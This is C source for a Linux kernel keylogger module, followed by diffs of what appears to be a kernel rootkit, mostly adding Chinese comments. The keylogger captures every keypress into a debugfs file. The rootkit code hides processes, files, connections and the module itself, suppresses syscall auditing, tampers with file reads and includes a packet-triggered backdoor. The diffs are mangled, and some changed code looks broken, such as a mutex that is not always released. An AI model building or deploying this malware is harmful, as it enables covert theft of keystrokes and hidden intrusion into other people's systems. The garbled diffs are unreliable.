{"_ALT_", "_ALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
{"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},
{"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},
{"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, {"_KPD7_", "_HOME_"},
{"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, {"-", "-"}, {"_KPD4_", "_LEFT_"},
{"_KPD5_", "_KPD5_"}, {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},
{"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, {"_KPD._", "_DEL_"},
{"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, {"\0", "\0"}, {"F11", "F11"},
{"F12", "F12"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"/", "/"}, {"_PRTSCR_", "_PRTSCR_"},
{"_ALT_", "_ALT_"}, {"\0", "\0"}, {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"},
{"_PGUP_", "_PGUP_"}, {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
{"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, {"_DEL_", "_DEL_"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"_PAUSE_", "_PAUSE_"},
};
static size_t buf_pos;
static char keys_buf[BUF_LEN] = {0};
const struct file_operations keys_fops = {
.owner = THIS_MODULE,
.read = keys_read,
};
static ssize_t keys_read(struct file *filp,
char *buffer,
size_t len,
loff_t *offset)
{
return simple_read_from_buffer(buffer, len, offset, keys_buf, buf_pos);
}
static struct notifier_block keysniffer_blk = {
.notifier_call = keysniffer_cb,
};
/* Keypress callback */
int keysniffer_cb(struct notifier_block *nblock,
unsigned long code,
void *_param)
{
size_t len;
struct keyboard_notifier_param *param = _param;
const char *pressed_key;
/* pr_debug("code: 0x%lx, down: 0x%x, shift: 0x%x, value: 0x%x\n",
code, param->down, param->shift, param->value); */
if (!(param->down))
return NOTIFY_OK;
if (param->value >= 0x1 && param->value <= 0x77) {
pressed_key = param->shift
? us_keymap[param->value][1]
: us_keymap[param->value][0];
if (pressed_key) {
len = strlen(pressed_key);
if ((buf_pos + len) >= BUF_LEN) {
memset(keys_buf, 0, BUF_LEN);
buf_pos = 0;
}
strncpy(keys_buf + buf_pos, pressed_key, len);
buf_pos += len;
keys_buf[buf_pos++] = '\n';
/* pr_debug("%s\n", pressed_key; */
}
}
return NOTIFY_OK;
}
static int __init keysniffer_init(void)
{
buf_pos = 0;
subdir = debugfs_create_dir("kisni", NULL);
if (IS_ERR(subdir))
return PTR_ERR(subdir);
if (!subdir)
return -ENOENT;
file = debugfs_create_file("keys", S_IRUSR, subdir, NULL, &keys_fops);
if (!file) {
debugfs_remove_recursive(subdir);
return -ENOENT;
}
register_keyboard_notifier(&keysniffer_blk);
return 0;
}
static void __exit keysniffer_exit(void)
{
unregister_keyboard_notifier(&keysniffer_blk);
debugfs_remove_recursive(subdir);
}
module_init(keysniffer_init);
module_exit(keysniffer_exit);

@ -11,7 +11,7 @@
int hidden = 1; int hidden = 1;
/* ------------------------ HIDE PROCESS ------------------------- */ /* ------------------------ 隐藏进程 ------------------------- */
#ifdef CONFIG_HIDE_PROC #ifdef CONFIG_HIDE_PROC
@ -25,7 +25,7 @@ static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
ret = KHOOK_ORIGIN(copy_creds, p, clone_flags); ret = KHOOK_ORIGIN(copy_creds, p, clone_flags);
if (!ret && is_task_invisible(current)) if (!ret && is_task_invisible(current))
p->flags |= FLAG; p->flags |= FLAG; // 如果任务不可见,设置标志
return ret; return ret;
} }
@ -35,7 +35,7 @@ static void khook_exit_creds(struct task_struct *p)
{ {
KHOOK_ORIGIN(exit_creds, p); KHOOK_ORIGIN(exit_creds, p);
if (is_task_invisible(p)) if (is_task_invisible(p))
p->flags &= ~FLAG; p->flags &= ~FLAG; // 如果任务不可见,清除标志
} }
KHOOK(audit_alloc); KHOOK(audit_alloc);
@ -44,7 +44,7 @@ static int khook_audit_alloc(struct task_struct *t)
int err = 0; int err = 0;
if (is_task_invisible(t)) { if (is_task_invisible(t)) {
clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 如果任务不可见,清除系统调用审计标志
} else { } else {
err = KHOOK_ORIGIN(audit_alloc, t); err = KHOOK_ORIGIN(audit_alloc, t);
} }
@ -58,7 +58,7 @@ struct task_struct *khook_find_task_by_vpid(pid_t vnr)
tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr); tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr);
if (tsk && is_task_invisible(tsk) && !is_task_invisible(current)) if (tsk && is_task_invisible(tsk) && !is_task_invisible(current))
tsk = NULL; tsk = NULL; // 如果任务不可见且当前任务可见返回NULL
return tsk; return tsk;
} }
@ -68,16 +68,16 @@ static int khook_vfs_statx(int dfd, const char __user *filename, int flags, stru
u32 request_mask) u32 request_mask)
{ {
if (is_proc_invisible_2(filename)) if (is_proc_invisible_2(filename))
return -EINVAL; return -EINVAL; // 如果进程不可见,返回无效参数错误
return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask); return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask);
} }
KHOOK_EXT(long, sys_kill, long, long); KHOOK_EXT(long, sys_kill, long, long);
static long khook_sys_kill(long pid, long sig) { static long khook_sys_kill(long pid, long sig) {
if (sig == 0) { if (sig == 0) {
if (is_proc_invisible(pid)) { if (is_proc_invisible(pid)) {
return -ESRCH; return -ESRCH; // 如果进程不可见,返回无此进程错误
} }
} }
@ -86,9 +86,9 @@ static long khook_sys_kill(long pid, long sig) {
KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *); KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *);
static long khook___x64_sys_kill(const struct pt_regs *regs) { static long khook___x64_sys_kill(const struct pt_regs *regs) {
if (regs->si == 0) { if (regs->si == 0) {
if (is_proc_invisible(regs->di)) { if (is_proc_invisible(regs->di)) {
return -ESRCH; return -ESRCH; // 如果进程不可见,返回无此进程错误
} }
} }
@ -101,7 +101,7 @@ static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_it
if (hidden) { if (hidden) {
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
if (!(iter.task->flags & FLAG)) if (!(iter.task->flags & FLAG))
break; break; // 跳过不可见任务
iter.tgid++; iter.tgid++;
} }
@ -113,20 +113,17 @@ static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_it
#endif #endif
/* ------------------------- HIDE DIR --------------------------- */ /* ------------------------- 隐藏目录 --------------------------- */
#ifdef CONFIG_HIDE_DIR #ifdef CONFIG_HIDE_DIR
#include <linux/dcache.h> #include <linux/dcache.h>
#include "dir.h" #include "dir.h"
/* Can you see a little problem on those hooks? This is not the best /* 这些钩子有点问题,但它们能工作,也许将来会改进 */
* way to do this feature, but I am going to keep it this way, after all,
* this is just a public project, isn't it?
*/
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_fillonedir(void *__buf, const char *name, int namlen, static int khook_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) loff_t offset, u64 ino, unsigned int d_type)
{ {
int ret = -ENOENT; int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden) if (!strstr(name, HIDE) || !hidden)
@ -201,7 +198,7 @@ struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
} }
#endif #endif
/* --------------------- FILE CONTENT TAMPERING --------------------- */ /* --------------------- 文件内容篡改 --------------------- */
#ifdef CONFIG_FILE_TAMPERING #ifdef CONFIG_FILE_TAMPERING
@ -210,10 +207,10 @@ struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
atomic_t read_on; atomic_t read_on;
int file_tampering_flag = 0; int file_tampering_flag = 0;
// This is not the best way to do that, but it works, maybe in the future I change that // 这不是最好的方法,但它有效,也许将来会改进
KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *); KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);
static ssize_t khook_vfs_read(struct file *file, char __user *buf, static ssize_t khook_vfs_read(struct file *file, char __user *buf,
size_t count, loff_t *pos) size_t count, loff_t *pos)
{ {
ssize_t ret; ssize_t ret;
@ -231,7 +228,7 @@ static ssize_t khook_vfs_read(struct file *file, char __user *buf,
#endif #endif
/* ------------------------ HIDE CONNECTIONS ------------------------- */ /* ------------------------ 隐藏连接 ------------------------- */
#ifdef CONFIG_HIDE_CONN #ifdef CONFIG_HIDE_CONN
@ -317,7 +314,7 @@ out:
#endif #endif
/* ----------------------------- BACKDOOR ----------------------------- */ /* ----------------------------- 后门 ----------------------------- */
#ifdef CONFIG_BACKDOOR #ifdef CONFIG_BACKDOOR
#include <linux/netdevice.h> #include <linux/netdevice.h>
@ -335,7 +332,7 @@ static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct pack
#endif #endif
/* ------------------------------ COMMON ----------------------------- */ /* ------------------------------ 通用 ----------------------------- */
#if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR) #if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR)
#include <linux/binfmts.h> #include <linux/binfmts.h>
@ -352,7 +349,7 @@ static int khook_load_elf_binary(struct linux_binprm *bprm)
} }
#endif #endif
/* ------------------------------- CONTROL ----------------------------- */ /* ------------------------------- 控制 ----------------------------- */
#include <linux/net.h> #include <linux/net.h>
#include <linux/in.h> #include <linux/in.h>
@ -367,7 +364,7 @@ struct control {
KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long); KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd, static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg) unsigned long arg)
{ {
int ret = 0; int ret = 0;
unsigned int pid; unsigned int pid;
@ -449,10 +446,9 @@ static int __init reptile_init(void)
int ret; int ret;
#ifdef CONFIG_FILE_TAMPERING #ifdef CONFIG_FILE_TAMPERING
/* Unfortunately I need to use this to ensure in some kernel /* 不幸的是,我需要使用这个来确保在某些内核版本中
* versions we will be able to unload the kernel module when * khook
* it is needed. Otherwise khook may take a really huge delay * vfs_read
* to unload because of vfs_read hook
*/ */
atomic_set(&read_on, 0); atomic_set(&read_on, 0);
#endif #endif
@ -474,6 +470,11 @@ static void __exit reptile_exit(void)
#ifdef CONFIG_FILE_TAMPERING #ifdef CONFIG_FILE_TAMPERING
while(atomic_read(&read_on) != 0) schedule(); while(atomic_read(&read_on) != 0) schedule();
#endif #endif
#ifdef CONFIG_HIDE_CONN
network_hide_cleanup();
#endif
khook_cleanup(); khook_cleanup();
} }

@ -1,39 +1,103 @@
#include <linux/module.h> #include <linux/module.h> // 包含 Linux 内核模块的头文件
#include <linux/mutex.h> #include <linux/mutex.h> // 包含互斥锁的头文件
#include <linux/slab.h> #include <linux/slab.h> // 包含内存分配的头文件
#include "module.h" #include "module.h" // 包含自定义模块的头文件
int hide_m = 0; /**
* @file module.c
* @brief
*
*
*/
/**
* @brief 10
*/
//int hide_m = 0;
int flag_hide_m = 0;
int flag_show_m = 1;
/**
* @brief
*/
static struct list_head *mod_list; static struct list_head *mod_list;
/**
* @brief
*
* 使
*/
void hide(void);
/**
* @brief
*
* 使
*/
void show(void);
/**
* @brief
*
*
*/
void hide_module(void);
void hide(void) void hide(void)
{ {
while (!mutex_trylock(&module_mutex)) // 尝试获取模块互斥锁如果失败则让CPU放松
cpu_relax(); while (!mutex_trylock(&module_mutex))
mod_list = THIS_MODULE->list.prev; cpu_relax();
list_del(&THIS_MODULE->list);
kfree(THIS_MODULE->sect_attrs); // 判断模块是否可见,并设置模块隐藏标志
THIS_MODULE->sect_attrs = NULL; if(flag_hide_m == 0 && flag_show_m == 1)
mutex_unlock(&module_mutex); {
flag_hide_m = 1;
hide_m = 1; flag_show_m = 0;
// 保存当前模块列表的前一个条目
mod_list = THIS_MODULE->list.prev;
// 从模块列表中删除当前模块
list_del(&THIS_MODULE->list);
// 释放模块的段属性
kfree(THIS_MODULE->sect_attrs);
// 将模块的段属性设置为NULL
THIS_MODULE->sect_attrs = NULL;
// 释放模块互斥锁
mutex_unlock(&module_mutex);
}
} }
void show(void) void show(void)
{ {
while (!mutex_trylock(&module_mutex)) // 尝试获取模块互斥锁如果失败则让CPU放松
cpu_relax(); while (!mutex_trylock(&module_mutex))
list_add(&THIS_MODULE->list, mod_list); cpu_relax();
mutex_unlock(&module_mutex); // 判断模块是否隐藏,并设置模块可见标志
if(flag_show_m == 0 && flag_hide_m == 1)
{
flag_show_m = 1;
flag_hide_m = 0;
// 将模块重新添加到模块列表中
list_add(&THIS_MODULE->list, mod_list);
// 释放模块互斥锁
mutex_unlock(&module_mutex);
}
hide_m = 0;
} }
void hide_module(void) void hide_module(void)
{ {
if (hide_m == 0) // 如果模块当前可见,则隐藏模块
if (flag_hide_m == 0 && flag_show_m == 1)
hide(); hide();
else if (hide_m == 1) // 如果模块当前隐藏,则显示模块
else if (flag_hide_m == 1 && flag_show_m == 0)
show(); show();
} }

@ -1,78 +1,92 @@
#include <linux/version.h> #include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/inet.h> #include <linux/inet.h> // 包含网络地址转换相关的头文件
#include <linux/netlink.h> #include <linux/netlink.h> // 包含Netlink相关的头文件
#include <linux/inet_diag.h> #include <linux/inet_diag.h> // 包含网络诊断相关的头文件
#include "network.h" #include "network.h" // 包含自定义的network.h头文件
#include "string_helpers.h" #include "string_helpers.h" // 包含自定义的string_helpers.h头文件
// 添加一个隐藏的网络连接
void network_hide_add(struct sockaddr_in addr) void network_hide_add(struct sockaddr_in addr)
{ {
struct hidden_conn *hc; struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
hc = kmalloc(sizeof(*hc), GFP_KERNEL); hc = kmalloc(sizeof(*hc), GFP_KERNEL); // 分配内核内存
if (!hc) if (!hc) // 如果内存分配失败
return; return; // 直接返回
hc->addr = addr; hc->addr = addr; // 将传入的地址赋值给hidden_conn结构体的addr成员
list_add(&hc->list, &hidden_conn_list); list_add(&hc->list, &hidden_conn_list); // 将hidden_conn结构体添加到隐藏连接列表中
} }
// 移除一个隐藏的网络连接
void network_hide_remove(struct sockaddr_in addr) void network_hide_remove(struct sockaddr_in addr)
{ {
struct hidden_conn *hc; struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
list_for_each_entry(hc, &hidden_conn_list, list) list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表
{ {
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { // 如果找到匹配的地址
list_del(&hc->list); list_del(&hc->list); // 从列表中删除该节点
kfree(hc); kfree(hc); // 释放内存
break; break; // 退出循环
} }
} }
} }
void network_hide_cleanup(void)
{
struct hidden_conn *hc;
list_for_each_entry(hc, &hidden_conn_list, list)
{
list_del(&hc->list);
kfree(hc);
}
}
// 检查一个地址是否被隐藏
int is_addr_hidden(struct sockaddr_in addr) int is_addr_hidden(struct sockaddr_in addr)
{ {
struct hidden_conn *hc; struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
list_for_each_entry(hc, &hidden_conn_list, list) list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表
{ {
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) // 如果找到匹配的地址
return 1; return 1; // 返回1表示地址被隐藏
} }
return 0; return 0; // 返回0表示地址未被隐藏
} }
/* /*
unsigned int _inet4_pton(char *src) unsigned int _inet4_pton(char *src)
{ {
unsigned int dst; unsigned int dst; // 定义一个无符号整数用于存储转换后的地址
int srclen = strlen(src); int srclen = strlen(src); // 获取源字符串的长度
if (srclen > INET_ADDRSTRLEN) if (srclen > INET_ADDRSTRLEN) // 如果源字符串长度超过最大地址长度
return -EINVAL; return -EINVAL; // 返回无效参数错误
if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) // 将字符串转换为网络地址
return -EINVAL; return -EINVAL; // 如果转换失败,返回无效参数错误
return dst; return dst; // 返回转换后的地址
} }
void hide_conn(char *ip_str) void hide_conn(char *ip_str)
{ {
unsigned int ip; unsigned int ip; // 定义一个无符号整数用于存储IP地址
struct sockaddr_in addr; struct sockaddr_in addr; // 定义一个sockaddr_in结构体用于存储地址
if ((ip = _inet4_pton(ip_str)) > 0) { if ((ip = _inet4_pton(ip_str)) > 0) { // 将字符串转换为IP地址
addr.sin_addr.s_addr = ip; addr.sin_addr.s_addr = ip; // 将IP地址赋值给sockaddr_in结构体的地址成员
if (is_addr_hidden(addr)) if (is_addr_hidden(addr)) // 如果地址已经被隐藏
network_hide_remove(addr); network_hide_remove(addr); // 移除隐藏的地址
else else
network_hide_add(addr); network_hide_add(addr); // 添加隐藏的地址
} }
} }
*/ */

@ -1,132 +1,137 @@
#include <linux/version.h> #include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/uaccess.h> #include <linux/uaccess.h> // 包含用户空间访问相关的头文件
#include <linux/ctype.h> #include <linux/ctype.h> // 包含字符类型判断相关的头文件
#include <linux/slab.h> #include <linux/slab.h> // 包含内核内存分配相关的头文件
#include <linux/namei.h> #include <linux/namei.h> // 包含文件路径相关的头文件
#include <linux/limits.h> #include <linux/limits.h> // 包含系统限制相关的头文件
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
# include <linux/sched/signal.h> # include <linux/sched/signal.h> // 包含调度和信号相关的头文件内核版本4.11及以上)
#endif #endif
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
# include "string_helpers.h" # include "string_helpers.h" // 包含字符串辅助函数内核版本4.2以下)
#endif #endif
#include "proc.h" #include "proc.h" // 包含自定义的proc.h头文件
// 设置或清除任务的标志
int flag_tasks(pid_t pid, int set) int flag_tasks(pid_t pid, int set)
{ {
int ret = 0; int ret = 0; // 返回值初始化为0
struct pid *p; struct pid *p; // 定义pid结构体指针
rcu_read_lock(); rcu_read_lock(); // 获取RCU读锁
p = find_get_pid(pid); p = find_get_pid(pid); // 根据pid获取pid结构体
if (p) { if (p) {
struct task_struct *task = get_pid_task(p, PIDTYPE_PID); struct task_struct *task = get_pid_task(p, PIDTYPE_PID); // 获取任务结构体
if (task) { if (task) {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0) #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
struct task_struct *t = NULL; struct task_struct *t = NULL;
for_each_thread(task, t) for_each_thread(task, t) // 遍历任务的所有线程
{ {
if (set) if (set)
t->flags |= FLAG; t->flags |= FLAG; // 设置标志
else else
t->flags &= ~FLAG; t->flags &= ~FLAG; // 清除标志
ret++; ret++; // 计数
} }
#endif #endif
if (set) if (set)
task->flags |= FLAG; task->flags |= FLAG; // 设置标志
else else
task->flags &= ~FLAG; task->flags &= ~FLAG; // 清除标志
put_task_struct(task); put_task_struct(task); // 释放任务结构体
} }
put_pid(p); put_pid(p); // 释放pid结构体
} }
rcu_read_unlock(); rcu_read_unlock(); // 释放RCU读锁
return ret; return ret; // 返回设置或清除标志的任务数
} }
// 根据pid查找任务
struct task_struct *find_task(pid_t pid) struct task_struct *find_task(pid_t pid)
{ {
struct task_struct *p = current; struct task_struct *p = current; // 当前任务
struct task_struct *ret = NULL; struct task_struct *ret = NULL; // 返回值初始化为NULL
rcu_read_lock(); rcu_read_lock(); // 获取RCU读锁
for_each_process(p) for_each_process(p) // 遍历所有进程
{ {
if (p->pid == pid) { if (p->pid == pid) { // 如果找到匹配的pid
get_task_struct(p); get_task_struct(p); // 获取任务结构体
ret = p; ret = p; // 设置返回值
} }
} }
rcu_read_unlock(); rcu_read_unlock(); // 释放RCU读锁
return ret; return ret; // 返回找到的任务结构体
} }
// 判断进程是否不可见
int is_proc_invisible(pid_t pid) int is_proc_invisible(pid_t pid)
{ {
struct task_struct *task; struct task_struct *task; // 定义任务结构体指针
int ret = 0; int ret = 0; // 返回值初始化为0
if (!pid) if (!pid) // 如果pid为0
return ret; return ret; // 返回0
task = find_task(pid); task = find_task(pid); // 查找任务
if (!task) if (!task) // 如果没有找到任务
return ret; return ret; // 返回0
if (is_task_invisible(task)) if (is_task_invisible(task)) // 判断任务是否不可见
ret = 1; ret = 1; // 设置返回值为1
put_task_struct(task); put_task_struct(task); // 释放任务结构体
return ret; return ret; // 返回结果
} }
// 判断/proc目录下的进程是否不可见
int is_proc_invisible_2(const char __user *filename) int is_proc_invisible_2(const char __user *filename)
{ {
int ret = 0, i, argc, is_num = 1; int ret = 0, i, argc, is_num = 1; // 初始化变量
pid_t pid = 0; pid_t pid = 0; // 初始化pid
char **a; char **a; // 定义字符指针数组
char *name = kmalloc(PATH_MAX, GFP_KERNEL); char *name = kmalloc(PATH_MAX, GFP_KERNEL); // 分配内核内存
if (strncpy_from_user(name, filename, PATH_MAX) > 0) { if (strncpy_from_user(name, filename, PATH_MAX) > 0) { // 从用户空间复制字符串
if (strncmp(name, "/proc/", 6) == 0) { if (strncmp(name, "/proc/", 6) == 0) { // 判断是否以/proc/开头
strreplace(name, '/', ' '); strreplace(name, '/', ' '); // 替换斜杠为空格
a = argv_split(GFP_KERNEL, name, &argc); a = argv_split(GFP_KERNEL, name, &argc); // 分割字符串
for (i = 0; i < strlen(a[1]); i++) { for (i = 0; i < strlen(a[1]); i++) { // 遍历字符串
if (!isdigit(*a[1])) if (!isdigit(*a[1])) // 判断是否为数字
is_num = 0; is_num = 0; // 设置为非数字
} }
if (is_num) { if (is_num) {
if (kstrtoint(a[1], 10, &pid) == 0) { if (kstrtoint(a[1], 10, &pid) == 0) { // 将字符串转换为整数
if (is_proc_invisible(pid)) if (is_proc_invisible(pid)) // 判断进程是否不可见
ret = 1; ret = 1; // 设置返回值为1
} }
} }
argv_free(a); argv_free(a); // 释放字符指针数组
} }
} }
kfree(name); kfree(name); // 释放内存
return ret; return ret; // 返回结果
} }
// 隐藏进程
void hide_proc(pid_t pid) void hide_proc(pid_t pid)
{ {
if (is_proc_invisible(pid)) if (is_proc_invisible(pid)) // 判断进程是否不可见
flag_tasks(pid, 0); flag_tasks(pid, 0); // 清除标志
else else
flag_tasks(pid, 1); flag_tasks(pid, 1); // 设置标志
} }
/* /*

@ -1,31 +1,34 @@
#include "string_helpers.h" #include "string_helpers.h" // 包含头文件
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) // 如果内核版本小于4.7.0
/* stolen from lib/string_helpers.c */ /* stolen from lib/string_helpers.c */
#include <linux/slab.h> #include <linux/slab.h> // 包含内核内存分配头文件
#include <linux/ctype.h> #include <linux/ctype.h> // 包含字符类型处理头文件
#define ESCAPE_SPACE 0x01 // 定义各种转义标志
#define ESCAPE_SPECIAL 0x02 #define ESCAPE_SPACE 0x01
#define ESCAPE_NULL 0x04 #define ESCAPE_SPECIAL 0x02
#define ESCAPE_OCTAL 0x08 #define ESCAPE_NULL 0x04
#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL) #define ESCAPE_OCTAL 0x08
#define ESCAPE_NP 0x10 #define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL)
#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP) #define ESCAPE_NP 0x10
#define ESCAPE_HEX 0x20 #define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP)
#define ESCAPE_HEX 0x20
// 处理直接通过字符
static bool escape_passthrough(unsigned char c, char **dst, char *end) static bool escape_passthrough(unsigned char c, char **dst, char *end)
{ {
char *out = *dst; char *out = *dst;
if (out < end) if (out < end)
*out = c; *out = c; // 直接复制字符
*dst = out + 1; *dst = out + 1;
return true; return true;
} }
// 处理空白字符转义
static bool escape_space(unsigned char c, char **dst, char *end) static bool escape_space(unsigned char c, char **dst, char *end)
{ {
char *out = *dst; char *out = *dst;
@ -33,35 +36,36 @@ static bool escape_space(unsigned char c, char **dst, char *end)
switch (c) { switch (c) {
case '\n': case '\n':
to = 'n'; to = 'n'; // 换行符转义为 \n
break; break;
case '\r': case '\r':
to = 'r'; to = 'r'; // 回车符转义为 \r
break; break;
case '\t': case '\t':
to = 't'; to = 't'; // 制表符转义为 \t
break; break;
case '\v': case '\v':
to = 'v'; to = 'v'; // 垂直制表符转义为 \v
break; break;
case '\f': case '\f':
to = 'f'; to = 'f'; // 换页符转义为 \f
break; break;
default: default:
return false; return false; // 不是空白字符
} }
if (out < end) if (out < end)
*out = '\\'; *out = '\\'; // 添加转义符
++out; ++out;
if (out < end) if (out < end)
*out = to; *out = to; // 添加转义后的字符
++out; ++out;
*dst = out; *dst = out;
return true; return true;
} }
// 处理特殊字符转义
static bool escape_special(unsigned char c, char **dst, char *end) static bool escape_special(unsigned char c, char **dst, char *end)
{ {
char *out = *dst; char *out = *dst;
@ -69,91 +73,95 @@ static bool escape_special(unsigned char c, char **dst, char *end)
switch (c) { switch (c) {
case '\\': case '\\':
to = '\\'; to = '\\'; // \\
break; break;
case '\a': case '\a':
to = 'a'; to = 'a'; // 响铃符转义为 \a
break; break;
case '\e': case '\e':
to = 'e'; to = 'e'; // 转义符转义为 \e
break; break;
default: default:
return false; return false; // 不是特殊字符
} }
if (out < end) if (out < end)
*out = '\\'; *out = '\\'; // 添加转义符
++out; ++out;
if (out < end) if (out < end)
*out = to; *out = to; // 添加转义后的字符
++out; ++out;
*dst = out; *dst = out;
return true; return true;
} }
// 处理空字符转义
static bool escape_null(unsigned char c, char **dst, char *end) static bool escape_null(unsigned char c, char **dst, char *end)
{ {
char *out = *dst; char *out = *dst;
if (c) if (c)
return false; return false; // 不是空字符
if (out < end) if (out < end)
*out = '\\'; *out = '\\'; // 添加转义符
++out; ++out;
if (out < end) if (out < end)
*out = '0'; *out = '0'; // 添加转义后的字符
++out; ++out;
*dst = out; *dst = out;
return true; return true;
} }
// 处理八进制字符转义
static bool escape_octal(unsigned char c, char **dst, char *end) static bool escape_octal(unsigned char c, char **dst, char *end)
{ {
char *out = *dst; char *out = *dst;
if (out < end) if (out < end)
*out = '\\'; *out = '\\'; // 添加转义符
++out; ++out;
if (out < end) if (out < end)
*out = ((c >> 6) & 0x07) + '0'; *out = ((c >> 6) & 0x07) + '0'; // 添加八进制字符的高三位
++out; ++out;
if (out < end) if (out < end)
*out = ((c >> 3) & 0x07) + '0'; *out = ((c >> 3) & 0x07) + '0'; // 添加八进制字符的中三位
++out; ++out;
if (out < end) if (out < end)
*out = ((c >> 0) & 0x07) + '0'; *out = ((c >> 0) & 0x07) + '0'; // 添加八进制字符的低三位
++out; ++out;
*dst = out; *dst = out;
return true; return true;
} }
// 处理十六进制字符转义
static bool escape_hex(unsigned char c, char **dst, char *end) static bool escape_hex(unsigned char c, char **dst, char *end)
{ {
char *out = *dst; char *out = *dst;
if (out < end) if (out < end)
*out = '\\'; *out = '\\'; // 添加转义符
++out; ++out;
if (out < end) if (out < end)
*out = 'x'; *out = 'x'; // 添加十六进制标识符
++out; ++out;
if (out < end) if (out < end)
*out = hex_asc_hi(c); *out = hex_asc_hi(c); // 添加十六进制字符的高四位
++out; ++out;
if (out < end) if (out < end)
*out = hex_asc_lo(c); *out = hex_asc_lo(c); // 添加十六进制字符的低四位
++out; ++out;
*dst = out; *dst = out;
return true; return true;
} }
// 将字符串中的字符进行转义处理
int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz, int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
unsigned int flags, const char *only) unsigned int flags, const char *only)
{ {
char *p = dst; char *p = dst;
char *end = p + osz; char *end = p + osz;
@ -163,19 +171,15 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
unsigned char c = *src++; unsigned char c = *src++;
/* /*
* Apply rules in the following sequence: * :
* - the character is printable, when @flags has * - @flags %ESCAPE_NP
* %ESCAPE_NP bit set * - @only
* - the @only string is supplied and does not contain a * - @flags
* character under question *
* - the character doesn't fall into a class of symbols
* defined by given @flags
* In these cases we just pass through a character to the
* output buffer.
*/ */
if ((flags & ESCAPE_NP && isprint(c)) || if ((flags & ESCAPE_NP && isprint(c)) ||
(is_dict && !strchr(only, c))) { (is_dict && !strchr(only, c))) {
/* do nothing */ /* 不做任何处理 */
} else { } else {
